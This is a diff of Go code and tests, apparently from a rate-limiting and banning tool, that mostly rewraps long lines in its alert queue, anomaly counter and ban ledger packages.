"&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;")
wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
wantBodies(
t,
standIns[alerts.DestinationNtfy],
"<!channel> & <https://x.example|y>",
)
})
}
@@ -835,7 +1004,12 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
params.NtfyToken = tc.token
standIns, q := startAll(t, params)
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(
alerts.Alert{
Event: alerts.EventBan,
Netblock: netblock(1),
},
)
synctest.Wait()
for destination, want := range map[string][]string{
@@ -845,13 +1019,21 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
} {
got := standIns[destination].received()
if len(got) != 1 {
t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
t.Fatalf(
"%s was sent %d requests, want 1",
destination,
len(got),
)
}
authorization := got[0].header.Values("Authorization")
if !slices.Equal(authorization, want) {
t.Errorf("%s was sent Authorization %q, want %q", destination,
authorization, want)
t.Errorf(
"%s was sent Authorization %q, want %q",
destination,
authorization,
want,
)
}
}
})
@@ -870,7 +1052,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
standIns[alerts.DestinationSlack].set(hanging)
for n := range 3 {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
q.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
}
synctest.Wait()
@@ -885,7 +1069,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
wantDestinationCounts(t, q, destination, want)
}
if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
if got := standIns[alerts.DestinationSlack].received(); len(
got,
) != 1 {
t.Errorf("Slack was sent %d requests, want 1", len(got))
}
@@ -900,11 +1086,16 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
alerts.Counts{Sent: 3, SendFailures: 1})
logged := log.String()
if !strings.Contains(logged,
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
if !strings.Contains(
logged,
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
) ||
strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") {
t.Errorf("process log %q names no failure, or names the URL", logged)
t.Errorf(
"process log %q names no failure, or names the URL",
logged,
)
}
})
}
@@ -922,7 +1113,9 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
// Each alert is raised once each destination has done all it can
// with those before it.
for n := range alerts.QueueSize + 1 {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
q.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
synctest.Wait()
}
@@ -1136,7 +1329,10 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
// startAll returns, by destination, a stand-in that answers for each
// destination params sets, and a Queue that sends to them, run until the
// test ends.
func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
func startAll(
t *testing.T,
params alerts.Params,
) (map[string]*standIn, *alerts.Queue) {
t.Helper()
q := alerts.New(params)
@@ -1170,7 +1366,9 @@ func midnight() time.Time {
// netblock returns the n-th netblock of a test, counted from 0.
func netblock(n int) netip.Prefix {
return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
return netip.MustParsePrefix(
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
)
}
// roundTrip returns state once written as JSON and read back, as
@@ -1223,12 +1421,22 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
// requests to it that it counts as failed, the alerts it counts as held
// back, and those it counts as dropped for the webhook.
func wantCounts(
t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
t *testing.T,
q *alerts.Queue,
sent, sendFailures, suppressed, dropped int64,
) {
t.Helper()
wantDestinationCounts(t, q, alerts.DestinationWebhook,
alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
wantDestinationCounts(
t,
q,
alerts.DestinationWebhook,
alerts.Counts{
Sent: sent,
SendFailures: sendFailures,
Dropped: dropped,
},
)
if q.Suppressed() != suppressed {
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1261,7 +1469,9 @@ func anAlertForEachEvent() []eventMessage {
{
alerts.Alert{
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
Netblock: netip.MustParsePrefix(
"203.0.113.0/24",
), Country: "DE",
Reason: "requests per hour over the limit of 10000",
Detail: map[string]any{"mode": "observe"},
},
@@ -1272,7 +1482,9 @@ func anAlertForEachEvent() []eventMessage {
{
alerts.Alert{
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
Netblock: netip.MustParsePrefix(
"198.51.100.7/32",
), Country: "FR",
Reason: "matched the rule env-file",
},
"fsn1app1/blog: permanent_ban", "high no_entry",
@@ -1347,18 +1559,30 @@ func wantSlackMessage(t *testing.T, request post, text string) {
// wantNtfyMessage checks that request, one ntfy was sent, posted the
// message text with the title, and with the priority and the tag
// priorityAndTag gives, with a space between them.
func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
func wantNtfyMessage(
t *testing.T,
request post,
title, priorityAndTag, text string,
) {
t.Helper()
got := []string{
request.method, request.url, request.header.Get("Title"),
request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
request.header.Get(
"Priority",
) + " " + request.header.Get(
"Tags",
), request.body,
}
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
if !slices.Equal(got, want) {
t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
"%q, want %q", got, want)
t.Errorf(
"ntfy was sent the method, URL, title, priority and tag, and text "+
"%q, want %q",
got,
want,
)
}
}
+43 -9
View File
@@ -43,7 +43,13 @@ const (
// Scopes returns every scope.
func Scopes() []string {
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
return []string{
ScopeClient,
ScopeNet,
ScopeASN,
ScopeTotal,
ScopeWatchedNet,
}
}
// The windows a counter counts in, as the alerts name them.
@@ -191,8 +197,12 @@ func (c *Counters) Snapshot() []Counter {
c.mu.Unlock()
slices.SortFunc(counters, func(a, b Counter) int {
return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
return cmp.Or(
cmp.Compare(a.Scope, b.Scope),
a.Netblock.Compare(b.Netblock),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
})
return counters
@@ -257,7 +267,11 @@ func (c *Counters) scopesOf(r Request) []scope {
for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) {
all = append(all, scope{
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
key{
scope: ScopeWatchedNet,
netblock: named.Netblock,
name: named.Name,
}, p.Watch,
})
}
}
@@ -316,7 +330,12 @@ func (c *Counter) add(
counted := count.buckets.Add(now, count.length, n)
if !passed && counted > float64(threshold) {
first = overThreshold{count.kind, count.window, counted, threshold}
first = overThreshold{
count.kind,
count.window,
counted,
threshold,
}
passed = true
}
}
@@ -359,12 +378,22 @@ func (c *Counter) lastStart() time.Time {
// key returns what tells c from the other counters.
func (c *Counter) key() key {
return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
return key{
scope: c.Scope,
netblock: c.Netblock,
asn: c.ASN,
name: c.Name,
}
}
// counter returns a counter for k, with nothing counted yet.
func (k key) counter() *Counter {
return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
return &Counter{
Scope: k.scope,
Netblock: k.netblock,
ASN: k.asn,
Name: k.name,
}
}
// alertFor returns the anomaly alert for o, a count over its threshold in
@@ -404,8 +433,13 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
ASN: r.ASN,
ASName: r.ASName,
Country: r.Country,
Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
counted, o.threshold),
Reason: fmt.Sprintf(
"%s per %s of %s over the threshold of %d",
o.kind,
o.window,
counted,
o.threshold,
),
Detail: detail,
}
}
+43 -14
View File
@@ -31,7 +31,10 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
// name one netblock.
NetV4Prefix: 32,
NamedNetblocks: []anomaly.NamedNetblock{
{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
{
Name: "office",
Netblock: office,
}, {Name: "hq", Netblock: office},
},
Alerts: queue,
})
@@ -80,11 +83,16 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
}
if after.Suppressed() != 9 {
t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
t.Errorf(
"after loading, %d alerts are held back, want 9",
after.Suppressed(),
)
}
}
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
t *testing.T,
) {
t.Parallel()
counters := newCounters(anomaly.Params{
@@ -103,17 +111,28 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
got := counters.Snapshot()
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
!holds(got, maxCounters) {
t.Errorf("%d counters, holding the first client %v, the second %v and the "+
"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
holds(got, 1), holds(got, maxCounters), maxCounters)
t.Errorf(
"%d counters, holding the first client %v, the second %v and the "+
"new one %v, want %d, the first and the new one",
len(got),
holds(got, 0),
holds(got, 1),
holds(got, maxCounters),
maxCounters,
)
}
}
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
t *testing.T,
) {
t.Parallel()
counters := newCounters(anomaly.Params{
Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
Net: anomaly.Thresholds{
RequestsPerMinute: 1000,
RequestsPerHour: 1000,
},
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
NetV4Prefix: 24,
})
@@ -142,7 +161,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T)
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
}
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
got, want) {
got,
want,
) {
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
}
@@ -192,9 +213,12 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
got := counters.Snapshot()
if !holds(got, 0) || holds(got, maxCounters/2) {
t.Errorf("holding the first client of the file %v, and the first counted in "+
"the minute before %v, want only the first", holds(got, 0),
holds(got, maxCounters/2))
t.Errorf(
"holding the first client of the file %v, and the first counted in "+
"the minute before %v, want only the first",
holds(got, 0),
holds(got, maxCounters/2),
)
}
}
@@ -225,9 +249,14 @@ func newQueue() *alerts.Queue {
// request returns a request from client number i, an address in
// 10.0.0.0/8.
func request(i int) anomaly.Request {
client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
client := netip.MustParseAddr(
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
)
return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
return anomaly.Request{
Client: client,
ClientGroup: netip.PrefixFrom(client, 32),
}
}
// holds reports whether counters hold the counter of client number i.
+146 -42
View File
@@ -36,9 +36,21 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// then one with an admin's ban before a ban sww made: the one
// ban counted toward MaxBans.
ledger.Load([]bans.Ban{
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
{
Netblock: adminsOnly,
Start: midnight().Add(-3 * time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: adminsOnly,
Start: midnight().Add(-2 * time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: both,
Start: midnight().Add(-time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: both,
Start: midnight(),
@@ -50,15 +62,27 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// A new ban drops the ban sww made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
wantBans(
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
)
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
t.Errorf(
"%s kept %+v, want the admin's ban",
both,
ledger.Bans(both),
)
}
// And the next drops that one.
ledger.BanForLimit(third, midnight(), bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
wantBans(
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
)
}
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
@@ -74,7 +98,11 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
// twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins")
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
first, _ := ledger.BanForLimit(
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first
@@ -119,12 +147,21 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
ledger := bans.New(defaultParams())
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
bans.Notes{RuleID: "git-dir", Target: "path"})
limit, _ := ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.1/32"),
midnight(),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
)
byteLimit, _ := ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.3/32"),
midnight(),
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
)
attack, _ := ledger.BanForAttack(
netip.MustParsePrefix("203.0.113.2/32"),
midnight(),
bans.Notes{RuleID: "git-dir", Target: "path"},
)
for _, tc := range []struct{ got, want string }{
{limit.Reason, "requests per minute over the limit of 1000"},
@@ -166,17 +203,25 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
t.Errorf(
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
ban.Expires.Sub(ban.Start),
ban.Notes.EarlierBans,
)
}
held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
t.Errorf(
"the ledger holds %+v, want the lifted ban and the new one",
held,
)
}
}
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
t *testing.T,
) {
t.Parallel()
// A permanent ban for a clear sign of attack, lifted.
@@ -198,13 +243,20 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
active, permanent := ledger.Count(now)
if active != 0 || permanent != 0 {
t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
t.Errorf(
"%d bans are active and %d permanent, want none",
active,
permanent,
)
}
// The next clear sign of attack bans for seven days, as a first does.
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != 7*day {
t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
t.Errorf(
"the next ban for an attack ends at %s, want seven days on",
ban.Expires,
)
}
}
@@ -212,8 +264,11 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
bans.Notes{})
made, _ := ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.1/32"),
midnight(),
bans.Notes{},
)
atStart := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
Start: midnight(),
@@ -223,7 +278,10 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
ledger.Load([]bans.Ban{made, atStart})
if got := ledger.Made(bans.CauseAdmin); got != 0 {
t.Fatalf("%d bans made by an admin after the start's, want none", got)
t.Fatalf(
"%d bans made by an admin after the start's, want none",
got,
)
}
// The admin keeps the ban sww made, keeps the one read at the
@@ -236,9 +294,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
}
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
if ledger.Made(bans.CauseAdmin) != 1 ||
ledger.Made(bans.CauseLimit) != 1 {
t.Errorf(
"%d bans made by an admin and %d for a limit, want 1 of each",
ledger.Made(bans.CauseAdmin),
ledger.Made(bans.CauseLimit),
)
}
}
@@ -264,8 +326,12 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
}
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
"probes for logins")
got := ledger.BanForAdmin(
netip.MustParsePrefix("203.0.113.9/24"),
now,
time.Time{},
"probes for logins",
)
if !reflect.DeepEqual(got, want) {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
}
@@ -277,10 +343,17 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
}
// It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
ban, banned, _ := ledger.Find(
netblock.Addr(),
midnight().Add(2*time.Hour),
)
if !banned || !reflect.DeepEqual(ban, want) {
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
ban, banned, want)
t.Errorf(
"after the limit's ban the netblock is under %+v (%t), want %+v",
ban,
banned,
want,
)
}
}
@@ -312,8 +385,12 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
now := midnight().Add(time.Minute)
lifted := ledger.Lift(client, now)
if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
if len(lifted) != 2 || lifted[0].Lifted != now ||
lifted[1].Lifted != now {
t.Errorf(
"lifted %+v, want the two active bans covering the client",
lifted,
)
}
wantChanged(t, ledger, true)
@@ -330,8 +407,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
covering := ledger.Covering(client)
if len(covering) != 3 || covering[0].Netblock != wide ||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
t.Errorf("the bans covering the client are %+v, want the /24's and both "+
"of its own, the earlier not lifted", covering)
t.Errorf(
"the bans covering the client are %+v, want the /24's and both "+
"of its own, the earlier not lifted",
covering,
)
}
// With none active, nothing is lifted or changed.
@@ -342,16 +422,26 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wantChanged(t, ledger, false)
}
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
t *testing.T,
) {
t.Parallel()
client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
"for good")
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.9/32"),
midnight(),
bans.Notes{},
)
ledger.BanForAdmin(
netip.MustParsePrefix("203.0.113.0/24"),
midnight(),
time.Time{},
"for good",
)
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
}
@@ -363,10 +453,19 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
"for an hour")
ledger.BanForAdmin(
netblock,
midnight().Add(time.Minute),
midnight().Add(time.Hour),
"for an hour",
)
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
wantPermanentBan(
t,
ledger,
netblock.Addr(),
midnight().Add(2*time.Minute),
)
}
// wantPermanentBan checks that Find and Check return a permanent ban for
@@ -382,7 +481,12 @@ func wantPermanentBan(
} {
ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() {
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
t.Errorf(
"%s returned %+v and banned %v, want a permanent ban",
name,
ban,
banned,
)
}
}
}
+91 -19
View File
@@ -209,7 +209,10 @@ func New(params Params) *Ledger {
// The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen.
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
math.MaxInt,
nil,
)
if err != nil {
panic(err) // NewLRU fails only for a size below one
}
@@ -312,7 +315,15 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
return l.ban(
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
true,
)
}
// WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -320,7 +331,15 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
return l.ban(
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
false,
)
}
// BanForAttack bans netblock at now for a clear sign of attack, with
@@ -331,7 +350,15 @@ func (l *Ledger) WouldBanForLimit(
func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
return l.ban(
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
true,
)
}
// WouldBanForAttack returns what BanForAttack would, without making the
@@ -339,8 +366,15 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
false)
return l.ban(
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
false,
)
}
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -348,19 +382,39 @@ func (l *Ledger) WouldBanForAttack(
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
netblock netip.Prefix,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
true)
return l.ban(
netblock,
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
true,
)
}
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
netblock netip.Prefix,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
false)
return l.ban(
netblock,
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
false,
)
}
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -505,7 +559,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
// about it. It is not a request from netblock, and leaves when it was last
// seen unchanged. It does not have bans.json written at once: the notes
// are written with its next write, as the counts in them are.
func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
func (l *Ledger) AddLookup(
netblock netip.Prefix,
asn, asName, country string,
) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -654,7 +711,10 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
// keep is true, the ban is not made, only returned: it is the ban that
// would have been made.
func (l *Ledger) ban(
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
netblock netip.Prefix,
now, expires time.Time,
cause, reason string,
notes Notes,
keep bool,
) (Ban, bool) {
l.mu.Lock()
@@ -675,7 +735,13 @@ func (l *Ledger) ban(
}
notes.Request = notes.Request.cut()
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
ban := Ban{
Netblock: netblock,
Start: now,
Cause: cause,
Reason: reason,
Notes: notes,
}
switch cause {
case CauseAttack:
@@ -765,7 +831,9 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
var first *Ban
for _, length := range lengths {
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
bans, found := l.netblocks.Get(
netip.PrefixFrom(client, length).Masked(),
)
if !found {
continue
}
@@ -798,7 +866,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
var found []*[]Ban
for _, length := range lengths {
bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
bans, ok := l.netblocks.Peek(
netip.PrefixFrom(client, length).Masked(),
)
if ok {
found = append(found, bans)
}
@@ -852,13 +922,15 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
var last *Ban
for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) {
last = &held[i]
}
}
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
if last != nil &&
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow.
+212 -59
View File
@@ -27,8 +27,14 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
length := time.Duration(hours) * time.Hour
if !ban.Expires.Equal(now.Add(length)) ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
t.Fatalf(
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
i+1,
ban.Expires.Sub(now),
ban.Notes.EarlierBans,
hours,
i,
)
}
now = ban.Expires
@@ -65,13 +71,27 @@ func TestRepeatWindowRunsOut(t *testing.T) {
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
first, _ := ledger.BanForLimit(
netblock,
midnight(),
bans.Notes{},
)
second, _ := ledger.BanForLimit(
netblock,
first.Expires.Add(tc.gap),
bans.Notes{},
)
if second.Expires.Sub(second.Start) != tc.want ||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
t.Errorf(
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
second.Expires.Sub(
second.Start,
),
second.Notes.EarlierBans,
tc.want,
)
}
})
}
@@ -84,8 +104,11 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params)
